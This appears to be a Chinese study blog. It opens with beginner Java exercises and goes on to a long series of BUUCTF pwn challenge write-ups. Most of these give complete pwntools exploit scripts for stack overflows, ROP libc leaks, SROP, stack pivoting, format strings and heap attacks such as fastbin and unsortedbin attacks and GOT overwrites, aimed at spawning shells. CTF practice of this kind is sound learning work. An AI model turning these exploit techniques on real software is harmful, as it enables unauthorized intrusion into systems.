5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.util.Scanner;

public class Main {
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);//输入类
int [] arr = new int[1000001];//申请大数组
int num = scan.nextInt();//输入

arr[1] = 1;//初始条件
arr[2] = 1;

for(int i=3;i<=num;i++) {
arr[i] = (arr[i-1] + arr[i-2])%10007;//循环计算每一项
// System.out.print("arr[i]"+arr[i]);
}

System.out.print(arr[num]);//输出结果
}
}

这里数组从1开始是有效的

圆的面积

pi * (r ^ 2)

  1. 学习保留位数的输出
  2. 使用默认的Math类

保留位数

printf函数

1
System.out.printf("%.7f",result);

PI

1
Math.PI

幂次

1
Math.pow(2, 3);[底数,幂次]

答案:

1
2
3
4
5
6
7
8
9
10
import java.util.Scanner;

public class circle_new_try {
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
int r = scan.nextInt();
double result = Math.PI * r * r;
System.out.printf("%.7f",result);
}
}

序列求和

1+2+3+…+n = n * (n-1) /2

  1. 学会简化给定的信息
  2. 注意数据规模,适当将int用long替代
1
2
3
4
5
6
7
8
9
import java.util.Scanner;

public class Seq_second_try {
public static void main(String[] args) {
long n = new Scanner(System.in).nextInt();//输入
long result = n * (n+1) / 2;//简化的式子
System.out.print(result);//输出
}
}

A+B问题

好像反着了,无所谓了,

很简单,但是之前的输入的进化不能同时用,不然new 两个Scanner对象出来,有点问题

1
2
3
4
5
6
7
8
9
10
11
12
import java.util.Scanner;

public class Plus_new_try {
public static void main(String[] args) {
Scanner scan = new Scanner(System.in);
// int a = new Scanner(System.in).nextInt();
// int b = new Scanner(System.in).nextInt();
int a = scan.nextInt();
int b = scan.nextInt();
System.out.print(a+b);
}
}

useful信息

快捷键

  1. 打印main+alt+/:main开头
  2. ctrl+shift+o:自动引包
  3. alt+shift+x:自动执行
  4. 打印syso+alt+/
  5. for补全:for+alt+/
  6. 选中光标前面的后者后面的:shift+<-(or ->)
  7. 表达式变
  8. 函数的注释:alt+shift+j
  9. 文件夹重命名:F2

输入的进化

1
int n = new Scanner(System.in).nextInt();

buu每日一题(1)

形成题感把,,,每天必须做一道

1. jarvisoj_level2

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p = process("./level2")
p=remote("node3.buuoj.cn",29936)

system = 0x08048320
binsh = 0x0804A024
payload = (0x88+0x4)*'a' + p32(system) + p32(0)+p32(binsh)

p.recvuntil("Input:")
p.sendline(payload)
p.interactive()

2. jarvisoj_level2_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p = process("./level2_x64")
p=remote("node3.buuoj.cn",29525)

system = 0x0004004C0
binsh = 0x0000000600A90
pop_rdi = 0x00000000004006b3

payload = (0x80+0x8)*'a' + p64(pop_rdi)+ p64(binsh)+ p64(system)

p.recvuntil("Input:")
p.sendline(payload)
p.interactive()

3. ciscn_2019_n_5

这道题是ret2shellcode,nx没有开

shellcraft.sh()需要设置好context

context(os='linux', arch='amd64', log_level='debug'),否则可能不太行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
p = process("./ciscn_2019_n_5")
context(os='linux', arch='amd64', log_level='debug')

p=remote("node3.buuoj.cn",26381)

p.recvuntil("tell me your name")
payload = asm(shellcraft.sh())
log.success(len(payload))
p.sendline(payload)

p.recvuntil("ant to say to me?")
payload = 'a'*(0x20+0x8)+p64(0x0601080)
p.sendline(payload)

p.interactive()

4. 铁人三项(第五赛区)_2018_rop

简单的rop,栈溢出调用write泄露地址,然后继续main调用system

注意参数,,,,不要写错,,,

然后libc用libcsearcher的话,和本低是不一样的,,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import *

context(os='linux', arch='i386', log_level='debug')

p = process("./2018_rop")
p = remote("node3.buuoj.cn",26162)

elf = ELF("./2018_rop")

write_plt = elf.plt['write']
getegid_got = elf.got['getegid']

log.success("plt:"+hex(write_plt))
# log.success("got:"+hex(write_got))

main = 0x080484C6

payload = 'a'*(0x88+0x4) + p32(write_plt)+ p32(main) + p32(1)+p32(getegid_got)+p32(0x4)
p.sendline(payload)

getegid_addr = u32(p.recv()[:4])
log.success(hex(getegid_addr))

obj = LibcSearcher("getegid",getegid_addr)
libc_base = getegid_addr - obj.dump('getegid')
system = obj.dump("system") + libc_base
binsh = obj.dump("str_bin_sh") + libc_base

log.success(hex(libc_base))
log.success(hex(system))
log.success(hex(binsh))

payload = 'a'*(0x88+0x4) +p32(system)+ p32(main) +p32(binsh)
p.sendline(payload)

p.interactive()

5. jarvisoj_fm

简单的格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
p = process("./fm")
context(os='linux', arch='i386', log_level='debug')

p=remote("node3.buuoj.cn",26413)

#The index of format argument : 12 ("\%11$p")
offset = 11
x= 0x0804a02c
payload = fmtstr_payload(offset,{x:4})
p.sendline(payload)

p.interactive()

6. others_shellcode

运行就能拿到flag

7. bjdctf_2020_babyrop

64位的rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
from LibcSearcher import *
# = process("./bjdctf_2020_babyrop")
p= remote("node3.buuoj.cn",25380)
elf = ELF("./bjdctf_2020_babyrop")
context(os = 'linux',arch='amd64',log_level ='debug')

puts_plt = elf.plt['puts']
read_got = elf.got['read']

main = elf.symbols['main']
pop_rdi = 0x0000000000400733
#gdb.attach(p)

p.recvuntil("story")
payload = 0x28*'a' + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main)
p.sendline(payload)


sleep(0.3)
read_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')

log.success("puts:"+hex((read_addr)))

obj = LibcSearcher("read",(read_addr))
libc_base = read_addr - obj.dump("read")
system = libc_base + obj.dump("system")
binsh = libc_base + obj.dump("str_bin_sh")

payload = 0x28*'a' + p64(pop_rdi) + p64(binsh) + p64(system) + p64(main)
p.sendline(payload)

p.interactive()

8. pwn2_sctf_2016

还是rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
p = process("./pwn2_sctf_2016")
p= remote("node3.buuoj.cn",28641)
elf = ELF("./pwn2_sctf_2016")
context(os = 'linux',arch='i386',log_level ='debug')

p.recvuntil("read?")
p.sendline("-1")

printf_plt = elf.plt['printf']
getchar_got = elf.got['getchar']
main = elf.symbols['main']

payload = 'a'*(0x2c+0x4) + p32(printf_plt) + p32(main) + p32(getchar_got)
p.recvuntil("data!")

#gdb.attach(p)
p.sendline(payload)
getchar_addr = u32(p.recvuntil("\xf7")[-4:])
print(hex(getchar_addr))

obj = LibcSearcher("getchar",getchar_addr)
libc_base = getchar_addr - obj.dump("getchar")
system = obj.dump("system") + libc_base
binsh = obj.dump("str_bin_sh") + libc_base

p.recvuntil("read?")
p.sendline("-1")

payload = 'a'*(0x2c+0x4) + p32(system) + p32(main) + p32(binsh)
p.sendline(payload)

p.interactive()

9. ciscn_2019_ne_5

栈溢出,addlog输入字符串,getflag里溢出了,,,

程序给了system,但是没给binsh,,,不知道为什么”;/bin/sh”不可以用,,,迷惑,然后自己就多走了一步,还可以用fflush的sh来做参数

image-20210325123806085

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *

context(os='linux', arch='i386', log_level='debug')

p = process("./ciscn_2019_ne_5")
p = remote("node3.buuoj.cn",25749)

elf = ELF("./ciscn_2019_ne_5")

p.recvuntil("password:")
p.sendline("administrator")

p.recvuntil("0.Exit\n:")
p.sendline("1")
system = elf.plt['system']
main = elf.symbols['main']

printf_got = elf.got['printf']
puts_plt = elf.plt['puts']

binsh = 0x080482ea
#payload = "a"*(0x48+4)+p32(puts_plt)+p32(main)+p32(printf_got)
payload = "a"*(0x48+4)+p32(system)+p32(main)+p32(binsh)

p.sendline(payload)

p.recvuntil("0.Exit\n:")
p.sendline("4")

# printf_addr = u32(p.recvuntil("\xf7")[-4:])
# print(hex(printf_addr))

# obj = LibcSearcher("printf",printf_addr)
# libc_base = printf_addr - obj.dump("printf")
# system_addr = libc_base + obj.dump("system")
# binsh = libc_base + obj.dump("str_bin_sh")

# p.sendline("administrator")
# p.recvuntil("0.Exit\n:")
# p.sendline("1")
# payload = "a"*(0x48+4)+p32(system_addr)+p32(main)+p32(binsh)
# p.sendline(payload)

# p.recvuntil("0.Exit\n:")
# p.sendline("4")

#gdb.attach(p)

p.interactive()

10. jarvisoj_level3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
p = process("./level3")
p= remote("node3.buuoj.cn",27215)
elf = ELF("./level3")
context(os = 'linux',arch='i386',log_level ='debug')

p.recvuntil("Input:\n")
write_plt = elf.plt['write']
write_got = elf.got['write']
read_got = elf.got['read']
main = elf.symbols['main']

payload = "a"*(0x88+0x4)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(0x4)
p.sendline(payload)

read_addr = u32(p.recv()[:4])
print(hex(read_addr))

obj = LibcSearcher("read",read_addr)
libc_base = read_addr - obj.dump("read")
system = libc_base + obj.dump("system")
binsh = libc_base + obj.dump("str_bin_sh")

payload = "a"*(0x88+0x4)+p32(system)+p32(main)+p32(binsh)
p.sendline(payload)

p.interactive()

11. jarvisoj_tell_me_something

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
p = process("./guestbook")
p= remote("node3.buuoj.cn",27801)
elf = ELF("./guestbook")
context(os = 'linux',arch='amd64',log_level ='debug')

pop_rdi = 0x00000000004006f3
write_got = elf.got['write']
write_plt = elf.plt['write']
main = elf.symbols['main']
pop_rsi_r15_ret = 0x00000000004006f1

p.recvuntil("Input your message:\n")
# gdb.attach(p)
payload = (0x88)*'a'+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0)+p64(write_plt)+p64(main)
p.sendline(payload)

write_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')

print(hex(write_addr))

obj = LibcSearcher("write",write_addr)
libc_base = write_addr - obj.dump("write")
system = libc_base + obj.dump("system")
binsh = libc_base + obj.dump("str_bin_sh")


p.recvuntil("Input your message:\n")
# gdb.attach(p)
payload = (0x88)*'a'+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendline(payload)

p.interactive()

12. ciscn_2019_s_3

比较有意思的题目,,,,一开始忽略了gadget,,,,就没想到,,,

image-20210326220901432

有两个gadget,就导致了有两种解法

解法1:ret2csu

一开始有栈溢出,,,

然后有gadget可以设置rax,syscall执行evecve

所以只需要设置参数,rdi,rdx和rsi

rdi有gadget,但是rdx没有,,,所以为了设置rdx,使用了万能gadget

binsh地址的泄漏是因为输入的地址是rsp-0x10,,,所以两个“/bin/sh\x00”后就可以把rbp/rsp的地址带出来

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
p = process("./ciscn_s_3")
elf = process("./ciscn_s_3")
context.log_level = 'debug'

vuln = 0x04004ED

payload = "/bin/sh\x00"*2 + p64(vuln)
p.sendline(payload)

binsh = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00') - 0x118
log.success(hex(binsh))

#second
pop_rax_59 = 0x004004E2
part1 = 0x00040059A
part2 = 0x0400580
pop_rdi = 0x00000000004005a3
syscall = 0x0000000000400501

payload = "/bin/sh\x00"*2 + p64(pop_rax_59)
payload += p64(part1)
payload += p64(0)
payload += p64(1)
payload += p64(binsh+0x10)#suiyi
payload += p64(0)#only low8
payload += p64(0)
payload += p64(0)
payload += p64(part2)
payload += 'a' * 56
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(syscall)
p.sendline(payload)

p.interactive()

解法2:srop

还有一个设置rax = 15的gadget,所以还可以使用srop,并且相比于ret2csu可以大大简化代码

因为参数的设置都在sigreturnframe里面。。。

主要不同主要在第二段代码里面。

直接pop_rax,syscall,这时候rsp的指向下面,,,str(sigframe),即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
p = process("./ciscn_s_3")
elf = process("./ciscn_s_3")
context.log_level = 'debug'
context.arch = 'amd64'
vuln = 0x04004ED

payload = "/bin/sh\x00"*2 + p64(vuln)
p.sendline(payload)

binsh = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00') - 0x118
log.success(hex(binsh))

#second
syscall = 0x0000000000400501
pop_rax_15 = 0x004004DA
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = binsh
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall

payload = "/bin/sh\x00"*2 + p64(pop_rax_15)+p64(syscall) +str(sigframe)
p.sendline(payload)

p.interactive()

其实还是比较简单的题,恕在下无能

13. [HarekazeCTF2019]baby_rop2

就是简单又正常的rop,,,还给了libc,,,,

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

libc = ELF("./libc.so.6")
p = process("./babyrop2")
p= remote("node3.buuoj.cn",26780)
elf = ELF("./babyrop2")
context(os = 'linux',arch='amd64',log_level ='debug')

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.sym['main']
pop_rdi = 0x0000000000400733


p.recvuntil("name?")
payload = 'a'*0x28 + p64(pop_rdi) + p64(read_got) + p64(printf_plt)+p64(main)
#gdb.attach(p)
p.sendline(payload)
read_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
print(hex(read_addr))

libc_base = read_addr - libc.sym['read']
system = libc.sym['system'] + libc_base
binsh = libc.search("/bin/sh").next() + libc_base
log.success(binsh)

p.recvuntil("name?")
payload = 'a'*0x28 + p64(pop_rdi) + p64(binsh) + p64(system)+p64(main)
p.sendline(payload)

p.interactive()

14. ez_pz_hackover_2016

思路很简单,,就是ret2shellcode的题目,这个可以想到,,,一般没开nx就是了,,,,但是算偏移的东西搞得我有点乱,,,,

栈溢出

emmm,ida里面给出的是错误的,,,所以用cyclic来算

1
2
3
4
5
6
#cyclic 100
payload = 'crashme'+'\x00'
payload += "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
#Invalid $PC address: 0x61666161
#winter@ubuntu:~/buu$ cyclic -l 0x61666161
#18

所以战役粗加上crashme,,,偏移量是18

shellcode偏移

先随便填之前泄漏的地址,,,,调试

1
2
3
4
payload = 'crashme'+'\x00'
payload += "a" * 18
payload += p32(addr)
payload += shellcode

image-20210328151124518

所以,,,之前泄漏的地址,和shellcode的地址差0x1c,只要addr - 0x1c即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level = 'debug'
p = process("./ez_pz_hackover_2016")
#= remote("node3.buuoj.cn",28694)
elf = ELF("./ez_pz_hackover_2016")
context(os = 'linux',arch='i386',log_level ='debug')

shellcode = asm(shellcraft.sh())
p.recvuntil("crash: 0x")
addr = int(p.recv(8),16)
print(hex(addr))

gdb.attach(p)
print(hex(addr+0x1e))
payload = 'crashme'+'\x00'
payload += "a" * 18
payload += p32(addr)
payload += shellcode
p.sendline(payload)

p.interactive()

15. ciscn_2019_es_2

wuwuwu,,,没做出来,感觉很简单,,,栈迁移

image-20210329213719581

两个相同的输入,,,

方法是第一个可以泄露ebp,,,然后后面的话,,,是覆盖main的返回地址,,,就很强,,,

image-20210329215328891

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import *

context(os='linux', arch='i386', log_level='debug')

p = process("./ciscn_2019_es_2")
p = remote("node3.buuoj.cn",27980)
elf = ELF("./ciscn_2019_es_2")

system = elf.sym['system']
bss = 0x0804A049
leave_ret = 0x080485FD

p.recvuntil("your name?")
payload = 'a' * 0x20 + 'b'*8
p.send(payload)

ebp = u32(p.recvuntil('\xff')[-4:])
print(hex(ebp))

#gdb.attach(p)

print(hex(ebp - 0x24))
payload = 'a'*8 + p32(ebp - 0x24) + 'bbbb' + p32(system) + 'cccc' + p32(ebp - 0x1c) + '/bin/sh\x00'
payload = payload.ljust(0x28,'p')
payload += p32(ebp - 0x2c)

p.send(payload)
p.interactive()

做过栈迁移的专题吧。。。。卡擦卡擦,,,停一下。。。

第一页over了。。。

image-20210329215437436


0.vn_pwn_simpleHeap

image-20201120094648513

image-20201120094808176

e = 7 + 7

1
2
3
4
add(0x18,'pppp')
add(0x60,'pppp')
add(0x60,'pppp')
add(0x10,'pppp')

image-20201120094858507

image-20201120094932009

程序以为只有三个了,因为0xe1把0x71覆盖了,但是0x71还是可以用的。

1
2
payload='p'*0x18+'\xe1'
edit(0,payload)

image-20201120095055903

放入了unsortedbin中

image-20201120095130576

1
delete(1)

image-20201120095223789

会把原来unsortedbin中上面的块分走,那么下面里面存放的fd和bk就可以通过原来第二个0x71来输出了。

image-20201120095331695

1
add(0x60,'pppp')

得到了unsortedbin的链表头,可以得到main_arena的地址和libc的地址。

1
2
3
4
5
6
7
8
9
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88
libc_base=main_arena-0x3c4b20


libc_one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc_base+libc_one_gadget[1]
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['__libc_realloc']
fake_chunk=malloc_hook-0x23

image-20201120095807801

变回来了,但是第二个0x71有两个块同时指向chunk2和chunk4

1
add(0x60,'pppp')#5

double free?

image-20201120100035193

1
delete(4)

这时候,chunk2和chunk4指向同一个,chunk4被释放了,但是chunk2还在,可以fastbin attack?

image-20201120100330055

修改了fd指针

image-20201120100417281

1
2
payload=p64(fake_chunk)
edit(2,payload)

image-20201120100443552

申请回来

1
add(0x60,'pppp')

然后再申请会到下面这个地址里面,然后因为one_gadget的限制,所以需要利用realloc_hook。

方法:

  1. realloc填上one_gadget

  2. 再在malloc上填上对应的realloc调整地址(根据需要减少pop),malloc上面8个就是realloc

    第二部里面的realloc地址是在libc里面的函数地址,,,

image-20201120161711894

image-20201120155747244

1
2
payload='p'*0xb+p64(one_gadget)+p64(realloc+13)
add(0x60,payload)

https://bbs.pediy.com/thread-246786.htm


最后在申请一下,就的到shell了。

image-20201120155844851

1
2
3
4
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline("12")

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

context.log_level='debug'
p=process('./vn_pwn_simpleHeap')
#p=remote('node3.buuoj.cn',26521)
elf=ELF('./vn_pwn_simpleHeap')
libc=ELF('./libc-2.23.so')

def add(size,content):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(size))
p.recvuntil('content:')
p.sendline(content)

def edit(idx,content):

p.sendline('2')
p.recvuntil('idx?')
p.sendline(str(idx))
p.recvuntil('content:')
p.sendline(content)

def show(idx):
p.recvuntil('choice: ')
p.sendline('3')
p.recvuntil('idx?')
p.sendline(str(idx))

def delete(idx):
p.recvuntil('choice: ')
p.sendline('4')
p.recvuntil('idx?')
p.sendline(str(idx))

add(0x18,'pppp')
add(0x60,'pppp')
add(0x60,'pppp')
add(0x10,'pppp')

#fake chunk
payload='p'*0x18+'\xe1'
edit(0,payload)

delete(1)

add(0x60,'pppp')

#gdb.attach(p)
show(2)

main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88
libc_base=main_arena-0x3c4b20


libc_one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=libc_base+libc_one_gadget[1]
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['__libc_realloc']
fake_chunk=malloc_hook-0x23


log.success("[*]libc_base"+hex(libc_base))
#gdb.attach(p)

add(0x60,'pppp')
delete(4)

payload=p64(fake_chunk)
edit(2,payload)



add(0x60,'pppp')


payload='p'*0xb+p64(one_gadget)+p64(realloc+13)
add(0x60,payload)
gdb.attach(p)
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline("12")

p.interactive()

不知道为什么本地打不通,但是远程莫得问题

-1.easyheap

前期保护

image-20201120173551508

64位的,没有开pie和relro,顿时觉得easy

没开pie,可以用elf里的plt和got表,没开relro,可以覆盖got表地址。

漏洞分析

image-20201120173920525

edit里面可以输入长度,造成堆溢出

image-20201120174112398

程序留有后面函数,,

image-20201120174142786

只要v3 == 4869,也就是选择输入的时候输入4869即可。并且让magic大于0x1305可以,unsortedbin可以实现向任意地址读入

方法一 unsortbin attack

首先申请了三个堆块,其中第二个要大于0x70为unsortbin

1
2
3
add(0x20,'aaaa')
add(0x80,'aaaa')
add(0x20,'aaaa')

然后将第二个释放,放入unsortbin中

1
delete(1)

利用堆溢出,将unsortbin内容修改,其中fd为任意,bk为目标地址 - 0x10

1
2
3
fd = 0
bk = magic - 0x10
edit(0,0x20+0x20,"a"*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))

接着,把我们的unsortbin申请回来,实现unsortbin attack

1
add(0x80,'aaaa')

然后,v3输入4869,此时magic已经是一个很大的数,就可以进入后面函数了。

1
2
3
4
p.recvuntil("Your choice :")
p.sendline("4869")

p.interactive()

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

#p = process("./easyheap")
p = remote("node3.buuoj.cn","28942")
def add(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)

def edit(idx,size,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap : ")
p.sendline(content)

def delete(idx):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(idx))




add(0x20,'aaaa')
add(0x80,'aaaa')
add(0x20,'aaaa')


delete(1)

magic = 0x06020C0

fd = 0
bk = magic - 0x10
edit(0,0x20+0x20,"a"*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))
add(0x80,'aaaa')

p.recvuntil("Your choice :")
p.sendline("4869")

p.interactive()

image-20201120175326957

远程有点问题,,,所以要非预期解了。。。

方法二 fastbin修改got表

因为后面要申请到的是0x7f,所以刚开始创建0x68的

1
2
3
add(0x68,'aaaa')#0
add(0x68,'aaaa')#1
add(0x68,'aaaa')#2

然后释放掉一个块,用上一块块溢出到下一个块,将fd里面填入heaparray[i]附近的内容,再申请回来

1
2
3
4
5
6
delete(1)

payload = 'a'*0x60+p64(0)+p64(0x71)+p64(0x6020ad)
edit(0,len(payload),payload)

add(0x68,'aaaa')#1

往申请回来的块里面填入atoi的got表

1
2
payload = 'b'*35 + p64(elf.got['atoi'])
add(0x68,payload)

然后往got表里面填入system的plt表

1
2
payload = p64(elf.plt['system'])
edit(0,0x8,payload)

然后发送的时候,发送’/bin/sh’,即可。

1
2
3
p.recvuntil("Your choice :")
p.sendline('/bin/sh')
p.interactive()

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")

p = remote("node3.buuoj.cn","28942")
def add(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)

def edit(idx,size,content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap : ")
p.sendline(content)

def delete(idx):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(idx))

add(0x68,'aaaa')#0
add(0x68,'aaaa')#1
add(0x68,'aaaa')#2

delete(1)

payload = 'a'*0x60+p64(0)+p64(0x71)+p64(0x6020ad)
edit(0,len(payload),payload)

add(0x68,'aaaa')#1


payload = 'b'*35 + p64(elf.got['atoi'])
add(0x68,payload)

payload = p64(elf.plt['system'])
edit(0,0x8,payload)
p.recvuntil("Your choice :")
p.sendline('/bin/sh')
p.interactive()